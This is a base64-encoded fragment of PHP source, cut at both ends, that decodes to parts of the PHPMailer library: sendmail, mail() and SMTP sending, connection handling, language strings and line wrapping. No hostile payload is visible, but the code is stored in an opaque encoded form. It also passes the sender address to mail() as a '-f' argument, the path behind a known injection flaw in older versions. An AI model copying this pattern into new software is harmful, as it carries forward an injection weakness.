CIgLiAkdmFsIC4gIlxuIik7CiAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgIGZwdXRzKCRtYWlsLCAkYm9keSk7CiAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgICAkaXNTZW50ID0gKCRyZXN1bHQgPT0gMCkgPyAxIDogMDsKICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCAkdmFsLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MsICR0aGlzLT5TdWJqZWN0LCAkYm9keSk7CiAgICAgICAgaWYoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgaWYoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgIH0KICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICBmcHV0cygkbWFpbCwgJGJvZHkpOwogICAgICAkcmVzdWx0ID0gcGNsb3NlKCRtYWlsKTsKICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgJGlzU2VudCA9ICgkcmVzdWx0ID09IDApID8gMSA6IDA7CiAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHkpOwogICAgICBpZigkcmVzdWx0ICE9IDApIHsKICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICB9CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHByb3RlY3RlZCBmdW5jdGlvbiBNYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkgewogICAgJHRvQXJyID0gYXJyYXkoKTsKICAgIGZvcmVhY2goJHRoaXMtPnRvIGFzICR0KSB7CiAgICAgICR0b0FycltdID0gJHRoaXMtPkFkZHJGb3JtYXQoJHQpOwogICAgfQogICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgIGlmIChlbXB0eSgkdGhpcy0+U2VuZGVyKSkgewogICAgICAkcGFyYW1zID0gIiAiOwogICAgfSBlbHNlIHsKICAgICAgJHBhcmFtcyA9IHNwcmludGYoIi1mJXMiLCAkdGhpcy0+U2VuZGVyKTsKICAgIH0KICAgIGlmICgkdGhpcy0+U2VuZGVyICE9ICcnIGFuZCAhaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgJG9sZF9mcm9tID0gaW5pX2dldCgnc2VuZG1haWxfZnJvbScpOwogICAgICBpbmlfc2V0KCdzZW5kbWFpbF9mcm9tJywgJHRoaXMtPlNlbmRlcik7CiAgICB9CiAgICAgICRydCA9IGZhbHNlOwogICAgaWYgKCR0aGlzLT5TaW5nbGVUbyA9PT0gdHJ1ZSAmJiBjb3VudCgkdG9BcnIpID4gMSkgewogICAgICBmb3JlYWNoICgkdG9BcnIgYXMgJHZhbCkgewogICAgICAgICRydCA9ICR0aGlzLT5tYWlsX3Bhc3N0aHJ1KCR2YWwsICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgICAkaXNTZW50ID0gKCRydCA9PSAxKSA/IDEgOiAwOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICR2YWwsICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgJHJ0ID0gJHRoaXMtPm1haWxfcGFzc3RocnUoJHRvLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAkaXNTZW50ID0gKCRydCA9PSAxKSA/IDEgOiAwOwogICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgIH0KICAgIGlmIChpc3NldCgkb2xkX2Zyb20pKSB7CiAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkb2xkX2Zyb20pOwogICAgfQogICAgaWYoISRydCkgewogICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIFNtdHBTZW5kKCRoZWFkZXIsICRib2R5KSB7CiAgICAvL3JlcXVpcmVfb25jZSAkdGhpcy0+UGx1Z2luRGlyIC4gJ2NsYXNzLnNtdHAucGhwJzsKICAgICRiYWRfcmNwdCA9IGFycmF5KCk7CgogICAgaWYoISR0aGlzLT5TbXRwQ29ubmVjdCgpKSB7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICB9CiAgICAkc210cF9mcm9tID0gKCR0aGlzLT5TZW5kZXIgPT0gJycpID8gJHRoaXMtPkZyb20gOiAkdGhpcy0+U2VuZGVyOwogICAgaWYoISR0aGlzLT5zbXRwLT5NYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICR0aGlzLT5TZXRFcnJvcigkdGhpcy0+TGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuaW1wbG9kZSgnLCcsICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpKSk7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkVycm9ySW5mbywgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICB9CgogICAgLy8gQXR0ZW1wdCB0byBzZW5kIGF0dGFjaCBhbGwgcmVjaXBpZW50cwogICAgZm9yZWFjaCgkdGhpcy0+dG8gYXMgJHRvKSB7CiAgICAgIGlmICghJHRoaXMtPnNtdHAtPlJlY2lwaWVudCgkdG9bMF0pKSB7CiAgICAgICAgJGJhZF9yY3B0W10gPSAkdG9bMF07CiAgICAgICAgLy8gaW1wbGVtZW50IGNhbGwgYmFjayBmdW5jdGlvbiBpZiBpdCBleGlzdHMKICAgICAgICAkaXNTZW50ID0gMDsKICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCAkdG9bMF0sICcnLCAnJywgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfSBlbHNlIHsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAxOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICR0b1swXSwgJycsICcnLCAkdGhpcy0+U3ViamVjdCwgJGJvZHkpOwogICAgICB9CiAgICB9CiAgICBmb3JlYWNoKCR0aGlzLT5jYyBhcyAkY2MpIHsKICAgICAgaWYgKCEkdGhpcy0+c210cC0+UmVjaXBpZW50KCRjY1swXSkpIHsKICAgICAgICAkYmFkX3JjcHRbXSA9ICRjY1swXTsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAwOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICcnLCAkY2NbMF0sICcnLCAkdGhpcy0+U3ViamVjdCwgJGJvZHkpOwogICAgICB9IGVsc2UgewogICAgICAgIC8vIGltcGxlbWVudCBjYWxsIGJhY2sgZnVuY3Rpb24gaWYgaXQgZXhpc3RzCiAgICAgICAgJGlzU2VudCA9IDE7CiAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJGlzU2VudCwgJycsICRjY1swXSwgJycsICR0aGlzLT5TdWJqZWN0LCAkYm9keSk7CiAgICAgIH0KICAgIH0KICAgIGZvcmVhY2goJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgIGlmICghJHRoaXMtPnNtdHAtPlJlY2lwaWVudCgkYmNjWzBdKSkgewogICAgICAgICRiYWRfcmNwdFtdID0gJGJjY1swXTsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAwOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICcnLCAnJywgJGJjY1swXSwgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfSBlbHNlIHsKICAgICAgICAvLyBpbXBsZW1lbnQgY2FsbCBiYWNrIGZ1bmN0aW9uIGlmIGl0IGV4aXN0cwogICAgICAgICRpc1NlbnQgPSAxOwogICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsICcnLCAnJywgJGJjY1swXSwgJHRoaXMtPlN1YmplY3QsICRib2R5KTsKICAgICAgfQogICAgfQoKCiAgICBpZiAoY291bnQoJGJhZF9yY3B0KSA+IDAgKSB7IC8vQ3JlYXRlIGVycm9yIG1lc3NhZ2UgZm9yIGFueSBiYWQgYWRkcmVzc2VzCiAgICAgICRiYWRhZGRyZXNzZXMgPSBpbXBsb2RlKCcsICcsICRiYWRfcmNwdCk7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkYmFkYWRkcmVzc2VzKTsKICAgIH0KICAgIGlmKCEkdGhpcy0+c210cC0+RGF0YSgkaGVhZGVyIC4gJGJvZHkpKSB7CiAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2RhdGFfbm90X2FjY2VwdGVkJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgfQogICAgaWYoJHRoaXMtPlNNVFBLZWVwQWxpdmUgPT0gdHJ1ZSkgewogICAgICAkdGhpcy0+c210cC0+UmVzZXQoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHRoaXMtPnNtdHAtPlF1aXQoKTsKICAgICAgICAkdGhpcy0+c210cC0+Q2xvc2UoKTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFNtdHBDb25uZWN0KCRvcHRpb25zID0gYXJyYXkoKSkgewoKICAgIGlmKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICR0aGlzLT5zbXRwID0gbmV3IFNNVFA7CiAgICB9CgogICAgLy9BbHJlYWR5IGNvbm5lY3RlZD8KICAgIGlmICgkdGhpcy0+c210cC0+Q29ubmVjdGVkKCkpIHsKICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgJHRoaXMtPnNtdHAtPlRpbWVvdXQgPSAkdGhpcy0+VGltZW91dDsKICAgICR0aGlzLT5zbXRwLT5kb19kZWJ1ZyA9ICR0aGlzLT5TTVRQRGVidWc7CiAgICAkdGhpcy0+c210cC0+RGVidWdvdXRwdXQgPSAkdGhpcy0+RGVidWdvdXRwdXQ7CiAgICAkdGhpcy0+c210cC0+ZG9fdmVycCA9ICR0aGlzLT5kb192ZXJwOwogICAgJGluZGV4ID0gMDsKICAgICR0bHMgPSAoJHRoaXMtPlNNVFBTZWN1cmUgPT0gJ3RscycpOwogICAgJHNzbCA9ICgkdGhpcy0+U01UUFNlY3VyZSA9PSAnc3NsJyk7CiAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgJGxhc3RleGNlcHRpb24gPSBudWxsOwoKICAgIGZvcmVhY2ggKCRob3N0cyBhcyAkaG9zdGVudHJ5KSB7CiAgICAgICRob3N0aW5mbyA9IGFycmF5KCk7CiAgICAgICRob3N0ID0gJGhvc3RlbnRyeTsKICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgaWYgKHByZWdfbWF0Y2goJy9eKC4rKTooWzAtOV0rKSQvJywgJGhvc3RlbnRyeSwgJGhvc3RpbmZvKSkgeyAvL0lmICRob3N0ZW50cnkgY29udGFpbnMgJ2FkZHJlc3M6cG9ydCcsIG92ZXJyaWRlIGRlZmF1bHQKICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1sxXTsKICAgICAgICAkcG9ydCA9ICRob3N0aW5mb1syXTsKICAgICAgfQogICAgICBpZiAoJHRoaXMtPnNtdHAtPkNvbm5lY3QoKCRzc2wgPyAnc3NsOi8vJzonJykuJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRoZWxsbyA9ICR0aGlzLT5TZXJ2ZXJIb3N0bmFtZSgpOwogICAgICAgICAgfQogICAgICAgICAgJHRoaXMtPnNtdHAtPkhlbGxvKCRoZWxsbyk7CgogICAgICAgICAgaWYgKCR0bHMpIHsKICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+U3RhcnRUTFMoKSkgewogICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL1dlIG11c3QgcmVzZW5kIEhFTE8gYWZ0ZXIgdGxzIG5lZ290aWF0aW9uCiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5IZWxsbygkaGVsbG8pOwogICAgICAgICAgfQogICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5BdXRoZW50aWNhdGUoJHRoaXMtPlVzZXJuYW1lLCAkdGhpcy0+UGFzc3dvcmQsICR0aGlzLT5BdXRoVHlwZSwgJHRoaXMtPlJlYWxtLCAkdGhpcy0+V29ya3N0YXRpb24pKSB7CiAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygnYXV0aGVudGljYXRlJykpOwogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICRsYXN0ZXhjZXB0aW9uID0gJGU7CiAgICAgICAgICAvL1dlIG11c3QgaGF2ZSBjb25uZWN0ZWQsIGJ1dCB0aGVuIGZhaWxlZCBUTFMgb3IgQXV0aCwgc28gY2xvc2UgY29ubmVjdGlvbiBuaWNlbHkKICAgICAgICAgICR0aGlzLT5zbXRwLT5RdWl0KCk7CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICAvL0lmIHdlIGdldCBoZXJlLCBhbGwgY29ubmVjdGlvbiBhdHRlbXB0cyBoYXZlIGZhaWxlZCwgc28gY2xvc2UgY29ubmVjdGlvbiBoYXJkCiAgICAkdGhpcy0+c210cC0+Q2xvc2UoKTsKICAgIC8vQXMgd2UndmUgY2F1Z2h0IGFsbCBleGNlcHRpb25zLCBqdXN0IHJlcG9ydCB3aGF0ZXZlciB0aGUgbGFzdCBvbmUgd2FzCiAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMgYW5kICFpc19udWxsKCRsYXN0ZXhjZXB0aW9uKSkgewogICAgICB0aHJvdyAkbGFzdGV4Y2VwdGlvbjsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTbXRwQ2xvc2UoKSB7CiAgICBpZiAoJHRoaXMtPnNtdHAgIT09IG51bGwpIHsKICAgICAgaWYoJHRoaXMtPnNtdHAtPkNvbm5lY3RlZCgpKSB7CiAgICAgICAgJHRoaXMtPnNtdHAtPlF1aXQoKTsKICAgICAgICAkdGhpcy0+c210cC0+Q2xvc2UoKTsKICAgICAgfQogICAgfQogIH0KCiAgZnVuY3Rpb24gU2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICdsYW5ndWFnZS8nKSB7CiAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgJ2F1dGhlbnRpY2F0ZScgICAgICAgICA9PiAnYXV0aGVudGljYXRlJywKICAgICAgJ2Nvbm5lY3RfaG9zdCcgICAgICAgICA9PiAnY29ubmVjdF9ob3N0JywKICAgICAgJ2RhdGFfbm90X2FjY2VwdGVkJyAgICA9PiAnZGF0YV9ub3RfYWNjZXB0ZWQnLAogICAgICAnZW1wdHlfbWVzc2FnZScgICAgICAgID0+ICdlbXB0eV9tZXNzYWdlJywKICAgICAgJ2VuY29kaW5nJyAgICAgICAgICAgICA9PiAnZW5jb2RpbmcgJywKICAgICAgJ2V4ZWN1dGUnICAgICAgICAgICAgICA9PiAnZXhlY3V0ZScsCiAgICAgICdmaWxlX2FjY2VzcycgICAgICAgICAgPT4gJ2ZpbGVfYWNjZXNzJywKICAgICAgJ2ZpbGVfb3BlbicgICAgICAgICAgICA9PiAnZmlsZV9vcGVuJywKICAgICAgJ2Zyb21fZmFpbGVkJyAgICAgICAgICA9PiAnZnJvbV9mYWlsZWQnLAogICAgICAnaW5zdGFudGlhdGUnICAgICAgICAgID0+ICdpbnN0YW50aWF0ZScsCiAgICAgICdpbnZhbGlkX2FkZHJlc3MnICAgICAgPT4gJ2ludmFsaWRfYWRkcmVzcycsCiAgICAgICdtYWlsZXJfbm90X3N1cHBvcnRlZCcgPT4gJ21haWxlcl9ub3Rfc3VwcG9ydGVkJywKICAgICAgJ3Byb3ZpZGVfYWRkcmVzcycgICAgICA9PiAncHJvdmlkZV9hZGRyZXNzJywKICAgICAgJ3JlY2lwaWVudHNfZmFpbGVkJyAgICA9PiAncmVjaXBpZW50c19mYWlsZWQnLAogICAgICAnc2lnbmluZycgICAgICAgICAgICAgID0+ICdzaWduaW5nJywKICAgICAgJ3NtdHBfY29ubmVjdF9mYWlsZWQnICA9PiAnc210cF9jb25uZWN0X2ZhaWxlZCcsCiAgICAgICdzbXRwX2Vycm9yJyAgICAgICAgICAgPT4gJ3NtdHBfZXJyb3InLAogICAgICAndmFyaWFibGVfc2V0JyAgICAgICAgID0+ICd2YXJpYWJsZV9zZXQnCiAgICApOwogICAgJGwgPSB0cnVlOwogICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7IC8vVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICRsID0gQGluY2x1ZGUgJGxhbmdfcGF0aC4ncGhwbWFpbGVyLmxhbmctJy4kbGFuZ2NvZGUuJy5waHAnOwogICAgfQogICAgJHRoaXMtPmxhbmd1YWdlID0gJFBIUE1BSUxFUl9MQU5HOwogICAgcmV0dXJuICgkbCA9PSB0cnVlKTsgLy9SZXR1cm5zIGZhbHNlIGlmIGxhbmd1YWdlIG5vdCBmb3VuZAogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEdldFRyYW5zbGF0aW9ucygpIHsKICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2U7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkckFwcGVuZCgkdHlwZSwgJGFkZHIpIHsKICAgICRhZGRyX3N0ciA9ICR0eXBlIC4gJzogJzsKICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgZm9yZWFjaCAoJGFkZHIgYXMgJGEpIHsKICAgICAgJGFkZHJlc3Nlc1tdID0gJHRoaXMtPkFkZHJGb3JtYXQoJGEpOwogICAgfQogICAgJGFkZHJfc3RyIC49IGltcGxvZGUoJywgJywgJGFkZHJlc3Nlcyk7CiAgICAkYWRkcl9zdHIgLj0gJHRoaXMtPkxFOwoKICAgIHJldHVybiAkYWRkcl9zdHI7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkckZvcm1hdCgkYWRkcikgewogICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgewogICAgICByZXR1cm4gJHRoaXMtPlNlY3VyZUhlYWRlcigkYWRkclswXSk7CiAgICB9IGVsc2UgewogICAgICByZXR1cm4gJHRoaXMtPkVuY29kZUhlYWRlcigkdGhpcy0+U2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gIiA8IiAuICR0aGlzLT5TZWN1cmVIZWFkZXIoJGFkZHJbMF0pIC4gIj4iOwogICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFdyYXBUZXh0KCRtZXNzYWdlLCAkbGVuZ3RoLCAkcXBfbW9kZSA9IGZhbHNlKSB7CiAgICAkc29mdF9icmVhayA9ICgkcXBfbW9kZSkgPyBzcHJpbnRmKCIgPSVzIiwgJHRoaXMtPkxFKSA6ICR0aGlzLT5MRTsKICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICJ1dGYtOCIpOwogICAgJGxlbGVuID0gc3RybGVuKCR0aGlzLT5MRSk7CiAgICAkY3JsZmxlbiA9IHN0cmxlbihzZWxmOjpDUkxGKTsKCiAgICAkbWVzc2FnZSA9ICR0aGlzLT5GaXhFT0woJG1lc3NhZ2UpOwogICAgaWYgKHN1YnN0cigkbWVzc2FnZSwgLSRsZWxlbikgPT0gJHRoaXMtPkxFKSB7CiAgICAgICRtZXNzYWdlID0gc3Vic3RyKCRtZXNzYWdlLCAwLCAtJGxlbGVuKTsKICAgIH0KCiAgICAkbGluZSA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAkbWVzc2FnZSA9ICcnOwogICAgZm9yICgkaSA9IDAgOyRpIDwgY291bnQoJGxpbmUpOyAkaSsrKSB7CiAgICAgICRsaW5lX3BhcnQgPSBleHBsb2RlKCcgJywgJGxpbmVbJGldKTsKICAgICAgJGJ1ZiA9ICcnOwogICAgICBmb3IgKCRlID0gMDsgJGU8Y291bnQoJGxpbmVfcGFydCk7ICRlKyspIHsKICAgICAgICAkd29yZCA9ICRsaW5lX3BhcnRbJGVdOwogICAgICAgIGlmICgkcXBfbW9kZSBhbmQgKHN0cmxlbigkd29yZCkgPiAkbGVuZ3RoKSkgewogICAgICAgICAgJHNwYWNlX2xlZnQgPSAkbGVuZ3RoIC0gc3RybGVuKCRidWYpIC0gJGNybGZsZW47CiAgICAgICAgICBpZiAoJGUgIT0gMCkgewogICAgICAgICAgICBpZiAoJHNwYWNlX2xlZnQgPiAyMCkgewogICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsKICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+VVRGOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICI9IikgewogICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgIH0gZWxzZWlmIChzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSA9PSAiPSIpIHsKICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAkYnVmIC49ICcgJyAuICRwYXJ0OwogICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzcHJpbnRmKCI9JXMiLCBzZWxmOjpDUkxGKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgfQogICAgICAgICAgd2hpbGUgKHN0cmxlbigkd29yZCkgPiAwKSB7CiAgICAgICAgICAgIGlmICgkbGVuZ3RoIDw9IDApIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRsZW4gPSAkbGVuZ3RoOwogICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsKICAgICAgICAgICAgICAkbGVuID0gJHRoaXMtPlVURjhDaGFyQm91bmRhcnkoJHdvcmQsICRsZW4pOwogICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gIj0iKSB7CiAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gIj0iKSB7CiAgICAgICAgICAgICAgJGxlbiAtPSAyOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgJHdvcmQgPSBzdWJzdHIoJHdvcmQsICRsZW4pOwoKICAgICAgICAgICAgaWYgKHN0cmxlbigkd29yZCkgPiAwKSB7CiAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJHBhcnQgLiBzcHJpbnRmKCI9JXMiLCBzZWxmOjpDUkxGKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgJGJ1Zl9vID0gJGJ1ZjsKICAgICAgICAgICRidWYgLj0gKCRlID09IDApID8gJHdvcmQgOiAoJyAnIC4gJHdvcmQpOwoKICAgICAgICAgIGlmIChzdHJsZW4oJGJ1ZikgPiAkbGVuZ3RoIGFuZCAkYnVmX28gIT0gJycpIHsKICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJGJ1Zl9vIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICRidWYgPSAkd29yZDsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgICAgJG1lc3NhZ2UgLj0gJGJ1ZiAuIHNlbGY6OkNSTEY7CiAgICB9CgogICAgcmV0dXJuICRtZXNzYWdlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFVURjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKSB7CiAgICAkZm91bmRTcGxpdFBvcyA9IGZhbHNlOwogICAgJGxvb2tCYWNrID0gMzsKICAgIHdoaWxlICghJGZvdW5kU3BsaXRQb3MpIHsKICAgICAgJGxhc3RDaHVuayA9IHN1YnN0cigkZW5jb2RlZFRleHQsICRtYXhMZW5ndGggLSAkbG9va0JhY2ssICRsb29rQmFjayk7CiAgICAgICRlbmNvZGVkQ2hhclBvcyA9IHN0cnBvcygkbGFzdENodW5rLCAiPSIpOwogICAgICBpZiAoJGVuY29kZWRDaGFyUG9zICE9PSBmYWxzZSkgewogICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAvLyBDaGVjayB0aGUgZW5jb2RlZCBieXRlIHZhbHVlICh0aGUgMiBjaGFycyBhZnRlciB0aGUgJz0nKQogICAgICAgICRoZXggPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrICsgJGVuY29kZWRDaGFyUG9zICsgMSwgMik7CiAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICBpZiAoJGRlYyA8IDEyOCkgeyAvLyBTaW5nbGUgYnl0ZSBjaGFyYWN0ZXIuCiAgICAgICAgICAvLyBJZiB0aGUgZW5jb2RlZCBjaGFyIHdhcyBmb3VuZCBhdCBwb3MgMCwgaXQgd2lsbCBmaXQKICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN